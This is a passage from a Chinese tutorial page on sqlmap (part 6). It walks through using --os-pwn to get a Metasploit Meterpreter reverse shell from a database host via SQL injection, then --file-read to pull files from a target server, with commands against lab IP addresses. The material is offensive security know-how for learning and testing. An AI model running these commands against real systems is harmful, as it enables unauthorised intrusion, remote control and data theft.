主页 > 网络知识 > Sqlmap使用详解(6)

Sqlmap使用详解(6)

 

Sqlmap使用详解

 

 

Sqlmap使用详解

 

 

Sqlmap使用详解

 

反弹一个MSF的shell(—os-pwn)

在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。并且需要当前获取的权限足够高才可以。

sqlmap -u "http://192.168.10.20:88/index.php?id=1" --os-pwn

 

Sqlmap使用详解

 

选择连接的tunnel,这里选择默认的 1 就可以了
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh – ICMP tunneling
> 1

选择网站的脚本语言,这里根据情况选择
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4

选择网站的路径,这里也是根据情况而定,如果知道网站路径的话,可以选择2然后手动输入
[1] common location(s) (‘C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/‘) (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: C:phpstudyWWW

 

Sqlmap使用详解

 

然后选择连接的类型,这里选择默认的1 即可

which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1

然后还会提示监听的地址和端口,这里直接回车即可

 

Sqlmap使用详解

 

 

Sqlmap使用详解

 

然后这里选择payload的类型,我们这里选择默认的1

which payload do you want to use?nt to use? [11563] ‘ (detected)]
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1

 

Sqlmap使用详解

 

执行完成后,如果不出问题,我们就可以获得一个MSF类型的shell了。

 

Sqlmap使用详解

 

读取服务器文件(—file-read)

当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件

 

Sqlmap使用详解

 

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!